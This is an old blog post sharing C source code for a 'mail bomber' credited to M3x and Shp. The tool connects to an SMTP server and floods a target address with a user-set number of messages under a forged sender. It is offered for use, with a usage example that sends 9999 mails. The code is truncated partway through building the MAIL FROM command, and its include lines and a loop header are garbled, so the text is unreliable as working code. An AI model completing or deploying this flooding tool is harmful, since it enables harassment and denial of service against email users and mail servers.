| Mobile| RSS

real mail Bomber

sábado, 22 de mayo de 2010 | Tags: | 0 Comentarios


.:-[ This is a M3x and Shp Mail bomber }-:.
 
disclaimer: Me (M3x and Shp are not liable or responcible with watever shit you get yourself into
            this file is for everyone, plz make sure to keep the recognition to its creators. this is the only copy of this, if you want to make any adjustments to this plz message me at tjmax007[at]hotmail[dot]com
            
         

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
 
#define PORT_SMTP 25
 
typedef struct socketClient_s {
    int socket;
    struct sockaddr_in to;
} socketClient_t;
 
void syntax(char *nameProgram);
int fetchArguments(int argc, char *argv[], char *host[], char *to[], char *messageFileName[], char *subject[], char *from[], char *port[], char *messagesNumber[]);
void freeArguments(char *host, char *to, char *messageFileName, char *subject, char *from, char *port, char *messagesNumber);
int socketConfiguration(socketClient_t *client, char *host, char *port);
int spamming(socketClient_t *client, char *to, char *messageFileName, char *subject, char *from, char *port, char *messagesNumber);
void readAscii(char *buffer);
int socketClientRead(socketClient_t *client, char *answer, int taille);
void socketClientFree(socketClient_t *client);
 
int main(int argc, char *argv[]) {
    char *host = NULL;
    char *to = NULL;
    char *messageFileName = NULL;
    char *subject = NULL;
    char *from = NULL;
    char *port = NULL;
    char *messagesNumber = NULL;
    socketClient_t *client = NULL;
 
    if(argc < 4)
        syntax(argv[0]);
 
    if(fetchArguments(argc,argv,&host,&to,&messageFileName,&subject,&from,&port,&messagesNumber) == -1) { // mallocs
        fprintf(stderr,"[-]Problem while fetchArguments()\n");
        return EXIT_FAILURE;
    }
 
    printf("[+]Welcome on shp's mailbomber\n");
 
    client = (socketClient_t *) malloc(sizeof(socketClient_t));
    if(!client) {
        fprintf(stderr,"[-]Problem while malloc()\n");
        return -1;
    }
 
    if(socketConfiguration(client,host,port) == -1) {
        fprintf(stderr,"[-]Problem while socketConfiguration()\n");
        socketClientFree(client);
        return -1;
    }
 
    if(spamming(client,to,messageFileName,subject,from,port,messagesNumber) == -1) {
        fprintf(stderr,"[-]Problem while spamming()\n");
        return -1;
    }
 
    socketClientFree(client);
    freeArguments(host,to,messageFileName,subject,from,port,messagesNumber);
 
    return EXIT_SUCCESS;
}
 
void syntax(char *nameProgram) {
    /* We display this function if the syntax is not correct */
    printf("[+]Usage: %s [host] [to] [messageFileName] [options]\n",nameProgram);
    printf("[+]\thost => Name of the smtp server to use\n");
    printf("[+]\tto => target email adress\n");
    printf("[+]\tmessageFileName => the name of the file which contains the mail message\n");
    printf("[+]Options:\n");
    printf("[+]\t-f [From] => Specify the sender\n");
    printf("[+]\t-h [Help] => Display this menu\n");
    printf("[+]\t-n [Messages Number] => Number of mails to send (1 by default)\n");
    printf("[+]\t-p [Port] => Specify the smtp server port (25 by default)\n");
    printf("[+]\t-s [Subject] => Specify the subject of the mail\n");
    printf("[+]Example: %s smtp.tapz.org target@hotmail.com message.txt -n 9999 -s Important -f hacker@jabber.org\n",nameProgram);
    exit(EXIT_FAILURE);
}
 
int fetchArguments(int argc, char *argv[], char *host[], char *to[], char *messageFileName[], char *subject[], char *from[], char *port[], char *messagesNumber[]) {
    /* This function is going to fetch arguments of the program */
    int i;
    int lenArgv;
 
    /* Fetching "Host" */
    lenArgv = strlen(argv[1]);
    if(lenArgv > 29) { // Max-length for this array is 30
        fprintf(stderr,"[-]First Argument (host) is too long\n");
        return -1;
    }
    else {
        *host = (char *) malloc((lenArgv +1) * sizeof(char));
        if(!*host) {
            fprintf(stderr,"[-]Problem while malloc()\n");
            return -1;
        }
    }
 
    strncpy(*host,argv[1],lenArgv);
    host[0][lenArgv + 1] = '\0';
 
    /* Fetching "To" */
    lenArgv = strlen(argv[2]);
    if(lenArgv > 29) { // Max-length for this array is 30
        fprintf(stderr,"[-]Second Argument (to) is too long\n");
        return -1;
    }
    else {
        *to = (char *) malloc((lenArgv + 1) * sizeof(char));
        if(!*to) {
            fprintf(stderr,"[-]Problem while malloc()\n");
            return -1;
        }
    }
 
    strncpy(*to,argv[2],lenArgv);
    to[0][lenArgv + 1] = '\0';
 
    /* Fetching "MessageFile" */
    lenArgv = strlen(argv[3]);
    if(lenArgv > 29) { // Max-length for this array is 30
        fprintf(stderr,"[-]Third Argument (MessageFile) is too long\n");
        return -1;
    }
    else {
        *messageFileName = (char *)malloc((lenArgv + 1) * sizeof(char));
        if(!*messageFileName) {
            fprintf(stderr,"[-]Problem while malloc()\n");
            return -1;
        }
    }
 
    strncpy(*messageFileName,argv[3],lenArgv);
    messageFileName[0][lenArgv + 1] = '\0';
 
    /* Fetching optinal arguments */
    for(i=1;i
        if(strcmp(argv[i],"-n") == 0) {
            lenArgv = strlen(argv[i+1]);
 
            if(lenArgv > 5) {
                fprintf(stderr,"[-]Messages Number is too long\n");
                return -1;
            }
            else {
                *messagesNumber = (char *) malloc((lenArgv + 1) * sizeof(char));
                if(!*messagesNumber) {
                    fprintf(stderr,"[-]Problem while malloc()\n");
                    return -1;
                }
            }
 
            strncpy(*messagesNumber,argv[i+1],lenArgv);
            messagesNumber[0][lenArgv + 1] = '\0';
 
        }
 
        if(strcmp(argv[i],"-s") == 0) {
            lenArgv = strlen(argv[i+1]);
 
            if(lenArgv > 19) {
                fprintf(stderr,"[-]Subject is too long\n");
                return -1;
            }
            else {
                *subject = (char *) malloc((lenArgv + 1) * sizeof(char));
                if(!*subject) {
                    fprintf(stderr,"[-]Problem while malloc()\n");
                    return -1;
                }
            }
 
            strncpy(*subject,argv[i+1],lenArgv);
            subject[0][lenArgv + 1] = '\0';
        }
 
        if(strcmp(argv[i],"-f") == 0) {
            lenArgv = strlen(argv[i+1]);
 
            if(lenArgv > 29) {
                fprintf(stderr,"[-]From is too long\n");
                return -1;
            }
            else {
                *from = (char *) malloc((lenArgv + 1) * sizeof(char));
                if(!*from) {
                    fprintf(stderr,"[-]Problem while malloc()\n");
                    return -1;
                }
            }
 
            strncpy(*from,argv[i+1],lenArgv);
            from[0][lenArgv + 1] = '\0';
 
        }
 
        if(strcmp(argv[i],"-p") == 0) {
            lenArgv = strlen(argv[i+1]);
 
            if(lenArgv > 5) {
                fprintf(stderr,"[-]Port is too long\n");
                return -1;
            }
            else {
                *port = (char *) malloc((lenArgv + 1) * sizeof(char));
                if(!*port) {
                    fprintf(stderr,"[-]Problem while malloc()\n");
                    return -1;
                }
            }
 
            strncpy(*port,argv[i+1],lenArgv);
            port[0][lenArgv + 1] = '\0';
        }
 
        if(strcmp(argv[i],"-h") == 0)
            syntax(argv[0]);
 
    }
 
    return 0;
}
 
void freeArguments(char *host, char *to, char *messageFileName, char *subject, char *from, char *port, char *messagesNumber) {
    /* This function frees arguments mallocs */
    if(host)
        free(host);
    if(to) 
        free(to);
    if(messageFileName)
        free(messageFileName); 
    if(subject) 
        free(subject);
    if(from)
        free(from);
    if(port)
        free(port);
    if(messagesNumber)
        free(messagesNumber);
 
}
 
int socketConfiguration(socketClient_t *client, char *host, char *port) {
    /* This function configurate the client socket */
    struct hostent *hostInfo = NULL;
    int ret;
    char *ip = NULL;
 
    client->socket = socket(AF_INET,SOCK_STREAM,0);
    client->to.sin_family = AF_INET;
    if(!port)
        client->to.sin_port = htons(PORT_SMTP);
    else {
        char *check = NULL;
        client->to.sin_port = htons(strtol(port,&check,0));
        if(*check != '\0') {
            fprintf(stderr,"[-]Bad port\n");
            return -1;
        }
    }
 
    hostInfo = gethostbyname(host);
    if(!hostInfo) {
        fprintf(stderr,"[-]Problem while gethostbyname()\n");
        return -1;
    }
 
    ip = inet_ntoa(*(struct in_addr *)(hostInfo->h_addr_list[0]));
    client->to.sin_addr.s_addr = inet_addr(ip);
 
    ret = connect(client->socket,(struct sockaddr *)&client->to,sizeof(client->to));
    if(ret == -1) {
        fprintf(stderr,"[-]Problem while connect()\n");
        return -1;
    }
 
 
    return 0;
}
 
int spamming(socketClient_t *client, char *to, char *messageFileName, char *subject, char *from, char *port, char *messagesNumber) {
    /* This function is gonna mailbomb the target */
    char answer[100];
    int j;
    int i;
    int ret;
    char *mailFrom = NULL;
    char *rcptTo = NULL;
    FILE* messageFile = NULL;
    char *message = NULL;
    char *ptr = NULL;
    int number;
    char *check = NULL;
    int lenSubject;
 
    if(!messagesNumber)
        number = 1;
    else {
        number = strtol(messagesNumber,&check,0);
        if(*check != '\0') {
            fprintf(stderr,"Bad messages number format\n");
            return -1;
        }
    }
 
    /* Home Message */
    if(socketClientRead(client,answer,100) == -1)
        return -1;
 
        printf("%s\n",answer);
 
    /* EHLO */
    ret = send(client->socket,"EHLO tapz\r\n",11,0);
    if(ret == -1) {
        fprintf(stderr,"[-]Problem while send()\n");
        return -1;
    }
 
    if(socketClientRead(client,answer,100) == -1)
        return -1;
 
    readAscii(answer);
 
    if(socketClientRead(client,answer,100) == -1)
        return -1;
 
    for(j=1;j<=number;j++) {
        /* MAIL FROM */
        if(from)
            mailFrom = (char *) malloc((strlen(from) + 1 + 21) * sizeof(char));
        else
            mailFrom = (char *) malloc(34 * sizeof(char));
        if(!mailFrom) {
            fprintf(stderr,"[-]Problem while malloc()\n");
            return -1;
        }
 
        if(from)
            snprintf(mailFrom,strlen(from) + 21,"MAIL FROM:

0 Respondiendo

Publicar un comentario

Ciber Protesta

Blog Archive

Labels

Blogumulus by Roy Tanck and Amanda Fazani

Twitter